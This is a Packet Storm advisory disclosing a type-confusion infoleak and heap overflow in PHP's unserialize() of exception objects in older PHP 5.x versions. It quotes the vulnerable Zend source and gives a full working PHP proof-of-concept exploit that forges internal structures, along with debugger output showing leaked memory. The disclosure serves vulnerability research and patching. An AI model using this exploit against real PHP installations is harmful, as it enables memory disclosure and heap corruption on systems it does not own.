PHP Exception Type Confusion / Heap Overflow

2015-04-29T00:00:00
ID PACKETSTORM:131679
Type packetstorm
Reporter Taoguang Chen
Modified 2015-04-29T00:00:00

Description

                                        
                                            `# Type Confusion Infoleak and Heap Overflow Vulnerability in  
unserialize() with exception  
  
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3  
- Release Date: 2015.4.28  
  
> A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.8  
Affected is PHP 5.5 < 5.5.24  
Affected is PHP 5.4 < 5.4.40  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
```  
ZEND_METHOD(exception, getTraceAsString)  
{  
zval *trace;  
char *res, **str, *s_tmp;  
int res_len = 0, *len = &res_len, num = 0;  
  
DEFAULT_0_PARAMS;  
  
res = estrdup("");  
str = &res;  
  
trace = zend_read_property(default_exception_ce, getThis(), "trace",  
sizeof("trace")-1, 1 TSRMLS_CC);  
zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC,  
(apply_func_args_t)_build_trace_string, 3, str, len, &num);  
  
...  
  
static int _build_trace_string(zval **frame TSRMLS_DC, int num_args,  
va_list args, zend_hash_key *hash_key) /* {{{ */  
{  
char *s_tmp, **str;  
int *len, *num;  
long line;  
HashTable *ht = Z_ARRVAL_PP(frame);  
zval **file, **tmp;  
  
...  
  
TRACE_APPEND_KEY("class");  
TRACE_APPEND_KEY("type");  
TRACE_APPEND_KEY("function");  
  
...  
  
#define TRACE_APPEND_KEY(key)  
\  
if (zend_hash_find(ht, key, sizeof(key), (void**)&tmp) == SUCCESS) { \  
if (Z_TYPE_PP(tmp) != IS_STRING) { \  
zend_error(E_WARNING, "Value for %s is no string", key); \  
TRACE_APPEND_STR("[unknown]"); \  
} else { \  
TRACE_APPEND_STRL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp)); \  
} \  
}  
```  
  
The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a  
fake HashTable and a fake Bucket. So we can supply a fake sring-type  
ZVAL, and lookup arbitrary memory address via the Z_STRVAL_PP macro,  
causing a crash or an information leak.  
  
```  
#define TRACE_APPEND_STRL(val, vallen) \  
{ \  
int l = vallen; \  
*str = (char*)erealloc(*str, *len + l + 1); \  
memcpy((*str) + *len, val, l); \  
*len += l; \  
}  
```  
  
There is using signed integer arithmetic in erealloc(). The memcpy()  
function's third parameter is a unsiged integer. The vallen can be  
completely control and we can supply negative value via a fake  
string-type ZVAL. So we can assign a value to val which is larger than  
real allocated memory. The memcpy() will then copy more data than the  
heap-based buffers can hold, causing a heap-based buffer overflow.  
  
Proof of Concept Exploit  
------------  
The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.20.  
  
```  
<?php  
  
  
ini_set("memory_limit", -1);  
  
setup_memory();  
  
$x = unserialize('O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:'.strlen($hashtable).':"'.$hashtable.'";}');  
  
echo $x, "\n";  
  
function setup_memory()  
{  
global $str, $hashtable;  
  
$base = 0x114000000 + 0x20;  
$bucket_addr = $base;  
$zval_delta = 0x100;  
$hashtable_delta = 0x200;  
$zval_addr = $base + $zval_delta;  
$hashtable_addr = $base + $hashtable_delta;  
  
$bucket = "\x01\x00\x00\x00\x00\x00\x00\x00";  
$bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00";  
$bucket .= ptr2str($bucket_addr + 3*8);  
$bucket .= ptr2str($zval_addr);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
  
$bucket .= ptr2str(zhash('class'));  
$bucket .= "\x06\x00\x00\x00\x00\x00\x00\x00";  
$bucket .= ptr2str($bucket_addr + 3*8 + 9*8);  
$bucket .= ptr2str($zval_addr + 5*8 + 6);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str(0);  
$bucket .= ptr2str($zval_addr + 2*5*8 + 2*6);  
$bucket .= ptr2str($bucket_addr);  
$bucket .= ptr2str($bucket_addr + 9*8);  
  
$hashtable = "\x00\x00\x00\x00";  
$hashtable .= "\x01\x00\x00\x00";  
$hashtable .= "\x03\x00\x00\x00";  
$hashtable .= "\x00\x00\x00\x00";  
$hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00";  
$hashtable .= ptr2str(0);  
$hashtable .= ptr2str($bucket_addr);  
$hashtable .= ptr2str($bucket_addr + 9*8);  
$hashtable .= ptr2str($bucket_addr + 18*8);  
$hashtable .= ptr2str(0);  
$hashtable .= "\x00";  
$hashtable .= "\x00";  
  
$zval = ptr2str($hashtable_addr);  
$zval .= ptr2str(0);  
$zval .= "\x00\x00\x00\x00";  
$zval .= "\x04";  
$zval .= "\x00";  
$zval .= ptr2str(0);  
$zval .= ptr2str(0);  
$zval .= ptr2str(0);  
  
$zval .= ptr2str(0x100352572);  
$zval .= ptr2str(0x16);  
$zval .= "\x00\x00\x00\x00";  
$zval .= "\x06";  
$zval .= "\x00";  
$zval .= ptr2str(0);  
$zval .= ptr2str(0);  
$zval .= ptr2str(0);  
  
$zval .= ptr2str(hexdec(bin2hex(strrev('class'))));  
  
$part = str_repeat("\x73", 4096);  
for ($j = 0; $j < strlen($bucket); $j++) {  
$part[$j] = $bucket[$j];  
}  
for ($j = 0; $j < strlen($hashtable); $j++) {  
$part[$j + $hashtable_delta] = $hashtable[$j];  
}  
for ($j = 0; $j < strlen($zval); $j++) {  
$part[$j + $zval_delta] = $zval[$j];  
}  
$str = str_repeat($part, 1024*1024*256/4096);  
}  
  
function ptr2str($ptr)  
{  
$out = "";  
for ($i=0; $i<8; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
function zhash($key)  
{  
$hash = 5381;  
$key = $key;  
$len = strlen($key) + 1;  
  
for (; $len >= 8; $len -= 8) {  
for ($i = 0; $i < 8; $i++) {  
$hash = (($hash << 5) + $hash) + ord($key{$i});  
}  
}  
$key = substr($key, -$len);  
for ($i = 0; $i < $len; $i++) {  
$hash = (($hash << 5) + $hash) + ord($key{$i});  
}  
return $hash;  
}  
  
?>  
```  
  
Test the PoC on the command line, then output some memory blocks:  
  
```  
$ lldb php  
(lldb) target create "php"  
Current executable set to 'php' (x86_64).  
(lldb) run tcpoc.php  
Process 1825 launched: '/usr/bin/php' (x86_64)  
exception 'Exception' in tcpoc.php:7  
Stack trace:  
#0 [internal function]: UH??AWAVSPI??I??H????()  
#1 {main}  
Process 1825 exited with status = 0 (0x00000000)  
```  
  
  
`